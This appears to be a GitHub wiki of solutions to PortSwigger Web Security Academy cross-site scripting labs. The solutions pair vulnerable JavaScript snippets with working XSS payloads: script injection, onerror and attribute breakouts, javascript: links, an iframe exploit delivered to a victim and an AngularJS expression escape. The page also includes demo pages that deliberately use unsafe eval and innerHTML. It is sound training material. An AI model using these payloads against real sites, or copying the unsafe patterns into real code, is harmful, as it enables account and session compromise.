Cross site scripting (XSS) - gachikuku/portswigger GitHub Wiki
Apprentice lab:
Reflected XSS into HTML context with nothing encoded
Apprentice lab:
Reflected XSS into HTML context with nothing encoded
This lab contains a simple reflected cross-site scripting
vulnerability in the search
functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.
When clicking on Search we notice we have a ?search= parameter.
So by encapsulating alert(1) within script tags we pass the lab.
- Url encoded, has been the default in the browser.
/?search=<script>alert(1)</script>
Apprentice lab:
Reflected XSS into attribute with angle brackets HTML-encoded
Apprentice lab:
Reflected XSS into attribute with angle brackets HTML-encoded
-
Solution
- Use the search bar and type an alphanumeric value, i.e.
test123. - Use Firefox's inspector with
⌘ ⌥ Cand search with⌘ Ffortest123. - Analyse the code that
test123is found in.Notice test123 is enclosed inside parenthesis.<form action=/ method=GET> <input type=text placeholder='Search the blog...' name=search value="test123"> <button type=submit class=button>Search</button> </form>
- Craft an XSS payload to escape parenthesis. Payload example:
"onmouseover="alert(1)
- Payload works because:
<form action=/ method=GET> <input type=text placeholder='Search the blog...' name=search value=""onmouseover="alert(1)"> <button type=submit class=button>Search</button> </form>
- Use the search bar and type an alphanumeric value, i.e.
Apprentice lab:
Reflected XSS into a JavaScript string with angle brackets HTML encoded
Apprentice lab:
Reflected XSS into a JavaScript string with angle brackets HTML encoded
-
Solution
- Test with
test1234. - Open developer tool to view script.
- z3nsh3ll's explanation for crafting an XSS payload.
- Test with
Apprentice lab:
Stored XSS into HTML context with nothing encoded
Apprentice lab:
Stored XSS into HTML context with nothing encoded
This lab contains a stored cross-site scripting
vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is
viewed.
- Simply make a comment
<script>alert(1)</script>
NOTE:
Stored XSS is in the database so it will not be immediately visible.
So when viewing the blog post againalert(1)will be displayed.
Apprentice lab:
Stored XSS into anchor href attribute with double quotes HTML-encoded
Apprentice lab:
Stored XSS into anchor href attribute with double quotes HTML-encoded
-
Solution
- Use placeholder values to find out how the input data is handledl
- Use Firefox's inspector with
⌘ ⌥ Cand search with⌘ Ffor the placeholder values. - Identify a vulnerable code snippet.
<section class="comment"> <p> <img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="website">name</a> | 12 November 2024 </p> <p>comment</p> <p></p> </section>
- Replace "website" with javascript:alert(1). This will store an XSS inside the link name.
Practitioner lab:
Exploiting cross-site scripting to capture passwords (Pro) optional
Practitioner lab:
Exploiting cross-site scripting to capture passwords (Pro) optional
Apprentice lab:
DOM XSS in document.write sink using source location.search
Apprentice lab:
DOM XSS in document.write sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
-
Solution
- Do a random search i.e.
test123. - (Firefox) open inspector with
⌘ ⌥ Cand use search with⌘ F - Craft XSS payload, based on js script.
- Do a random search i.e.
-
Solution (second way)
- Do a random search query.
- Open Firefox's Debugger
⌘ ⌥ Zand use search⌘ ⇧ F. - Search for
location.search. Observe the vulnerable code snippet.function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); }
- Craft the XSS payload based on the code above.
/?search="><script>alert(1)</script>
-
Experimentation
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Search Tracker</title>
</head>
<body>
<form id="search-form" action="" method="get">
<input type="text" name="search" placeholder="Enter search query" required>
<button type="submit">Search</button>
</form>
<div id="message"></div>
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
</body>
</html>
Practitioner lab:
DOM XSS in document.write sink using source location.search inside a select element
Practitioner lab:
DOM XSS in document.write sink using source location.search inside a select element
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function
-
Solution (Video explaination)
- View a product and Check stock.
- Find a vulnerable script.
var stores = ["London","Paris","Milan"]; var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>'+store+'</option>'); } for(var i=0;i<stores.length;i++) { if(stores[i] === store) { continue; } document.write('<option>'+stores[i]+'</option>'); } document.write('</select>');
- Craft the XSS payload.
/product?productId=1&storeId=</option><script>alert(1)</script>
NOTE:
Trying things out, and observing changes in the page, it's best for crafting XSS payloads.
In this case use Inspector⌘ ⌥ Cand search HTML⌘ F.
Apprentice lab:
DOM XSS in innerHTML sink using source location.search
Apprentice lab:
DOM XSS in innerHTML sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
-
Solution
- Use the search functionality and search for script tags using the debugger.
- Vulnerable JavaScript.
function doSearchQuery(query) { document.getElementById('searchMessage').innerHTML = query; } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { doSearchQuery(query); }
- XSS payload.
/?search=<img src=1337 onerror=alert(1)>
Apprentice lab:
DOM XSS in jQuery anchor href attribute sink using location.search source
Apprentice lab:
DOM XSS in jQuery anchor href attribute sink using location.search source
This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.
To solve this lab, make the "back" link alert document.cookie.
-
Solution
- Use script.
- Vulnerable endpoint, and the code associated with it.
https://uuid.web-security-academy.net/feedback?returnPath=/feedback <script> $(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); }); </script>
-
Exploitation.
/feedback?returnPath=javascript:alert(1)
NOTE:
Script does not work if lab requires to modify a sumbit paremeter.
Apprentice lab:
DOM XSS in jQuery selector sink using a hashchange event
Apprentice lab:
DOM XSS in jQuery selector sink using a hashchange event
This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.
-
Solution
- Run script and identify vulnerable code.
$(window).on('hashchange', function(){ var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); if (post) post.get(0).scrollIntoView(); });
-
Go to exploit server and in the body, write the exploit.
<iframe src="https://uuid.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print(1)>'">
- Click Store and Deliver exploit to victim.
- Run script and identify vulnerable code.
This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.
To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.
-
Solution
- Look at the source, notice within the head tags there is a CDN for AngularJS.
- Test for
{{1+1}}in search bar. - Since there is 2 in the search call then we could investigate further and paste the payload.
{{$eval.constructor('alert()')()}}
- z3nsh3ll's explaination for the payload.
-
Experimentation
-
angular.html.
<!DOCTYPE html> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script> <head> <body ng-app="myApp" ng-controller="myCtrl"> <p id="test"></p> {{ firstName }} {{ 1+1 }} {{ $eval.constructor('alert()')() }} </body> <script> var app = angular.module('myApp', []); app.controller('myCtrl', function($scope) { $scope.firstName = "Adam"; }); </script> </html>
-
Check out methods for calling the function constructor.
let scope = angular.element(document.getElementById('test')).scope();
-
Practitioner lab:
Reflected DOM XSS
Practitioner lab:
Reflected DOM XSS
-
Solution
- In the search input type
test123. - Checking responses under network tab study the response from
searchResults.jsand notice aneval. - See why
evalis vulnerable. - The input
test123is also reflected as JSON in thesearch-resultsquery. - Craft an XSS payload by:
- Adding a double quote:
test123". Notice\is added automatically. - Append JavaScript:
test123\"-alert(1). - Add a curly bracket and comment every out:
test123\"-alert(1)}//
- Adding a double quote:
- Paste
test123\"-alert(1)}//in the search input of the website, achieving a reflected DOM XSS.
- In the search input type
-
Experimentation (lab recreation)
- index.html
<!DOCTYPE html> <html> <body> <h1> eval </h1> <p id="page"></p> </body> <script> var xmlhttp = new XMLHttpRequest(); var url = 'http://localhost:8000/data.json'; xmlhttp.onreadystatechange = function(){ if (this.readyState == 4 && this.status == 200){ console.log(this.response); // Check type of data. //console.log(typeof this.reponse); //Correct way without using eval. Without JSON parse data will be JSON not string. //let myObj = JSON.parse(this.reponse); //VULNERABILITY eval eval('let myObj = ' + this.reponse); // Render data to the DOM document.getElementById('page').innerText = myObj.information; } } xmlhttp.open('GET', url, true); xmlhttp.send(); </script> </html>
- data.json
{ "information" : "test123" }- Run everything using
php -S localhost:8000
Practitioner lab:
Stored DOM XSS
Practitioner lab:
Stored DOM XSS
-
Solution
- Post a normal comment.
-
⌘ + ⌥ + ITo open Inspector and press the Reload button under the Network tab for detailed info. - Notice an endpoint
/loadCommentsWithVulnerableEscapeHtml.jsfunction escapeHTML(html) { return html.replace('<', '<').replace('>', '>'); }
- It might look secure, because it attempts to encode angle brackets. It's not, because "only the first occurrence will be replaced".
- After trying
<h1><h1>asdf1234<h1/><h1/>and observing that it works, an XSS can be crafted. - XSS
<h1><img src="0" onerror="alert(document.domain)">meow</img></h1>